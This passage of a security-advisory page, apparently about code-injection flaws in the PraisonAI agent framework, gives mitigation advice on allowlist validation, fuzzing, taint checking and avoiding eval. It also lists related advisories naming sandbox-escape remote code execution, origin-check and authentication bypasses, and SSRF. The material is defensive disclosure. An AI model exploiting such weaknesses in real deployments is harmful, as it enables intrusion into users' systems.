- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor